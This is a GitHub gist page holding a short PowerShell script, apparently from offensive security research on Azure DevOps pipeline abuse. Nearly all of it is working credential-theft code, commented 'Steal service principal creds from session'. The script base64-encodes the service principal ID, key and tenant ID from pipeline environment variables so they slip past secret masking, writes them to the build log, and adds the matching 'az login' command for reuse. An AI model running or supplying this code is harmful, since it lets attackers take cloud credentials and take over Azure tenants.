Skip to content

Instantly share code, notes, and snippets.

@Flangvik

Flangvik/PipelinesAbuseHijackPart2.ps1

Last active January 20, 2021 01:46
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Flangvik/f9fc4633f41b1a9bb21f91d78dcb27b8 to your computer and use it in GitHub Desktop.
Save Flangvik/f9fc4633f41b1a9bb21f91d78dcb27b8 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
PipelinesAbuseHijackPart2.ps1
#Steal service principal creds from session
Write-Host "`$servicePrincipalId = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`""$([System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($env:servicePrincipalId)))"`"))"
Write-Host "`$servicePrincipalKey = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`""$([System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($env:servicePrincipalKey)))"`"))"
Write-Host "`$tenantId = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`""$([System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($env:tenantId)))"`"))"
Write-Host "az login --service-principal -u `$servicePrincipalId -p `$servicePrincipalKey --tenant `$tenantId"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment